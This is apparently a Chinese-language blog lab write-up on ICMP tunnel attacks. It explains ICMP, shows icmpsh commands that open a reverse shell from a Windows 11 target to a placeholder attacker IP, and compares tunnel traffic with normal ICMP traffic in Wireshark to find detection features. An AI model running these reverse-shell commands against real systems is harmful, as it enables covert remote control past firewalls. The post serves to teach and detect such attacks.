ICMP隧道攻击
ICMP隧道攻击
关于ICMP协议
1.ICMP协议的全称是互联网控制消息协议,基于IP协议发送控制消息,控制消息指的就是网络通不通,主机是否可达,路由是否可用
2.ICMP主要应用在各种网络诊断工具中,最主要的就是ping。ping可以知道对面的主机是否与自己联通
3.ICMP包可以携带少量的数据,一般来说icmp请求包和返回包的Data部分都是一样的
关于ICMP隧道攻击
由于ICMP流量会被防火墙忽略或者不完全检测,所以攻击者利用其隐蔽性,可以搭建一条ICMP隧道对靶机实现控制。缺点是不太稳定
实验
目标:用icmpsh实现反弹shell,实现攻击机对靶机的控制,同时记录并分析正常的icmp流量和icmp隧道流量的不同
攻击机:Kal-Linux-2024.1;靶机:Windows 11,两者处于同一虚拟网络中
注意icmpsh需要clone依赖项Impacket并且安装。(clone+setup.py)
在安装目录下:
1 | sudo python2 ./icmpsh_m.py [attacker_ip] [target_ip] |
在靶机上:
把安装目录的icmpsh.exe复制到某个目录下,打开cmd
1 | icmpsh.exe -t [attacker_ip] |
这样一来就成功的反弹shell了
用wireshark抓取流量发现如下特征:
1.ICMP包数量较大
2.request和reply的Data部分是不同的
这个是隧道部分流量的request和reply(注意我是在靶机上监控的流量,所以攻击机反而成了reply)
reply
request
正常部分的reply和request的Data部分均为
3.Data部分和正常的icmp包有所区别
前者的Data长度在实验中是64,后者是40,差异还是很明显的
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 第647号宇宙の研究所!
评论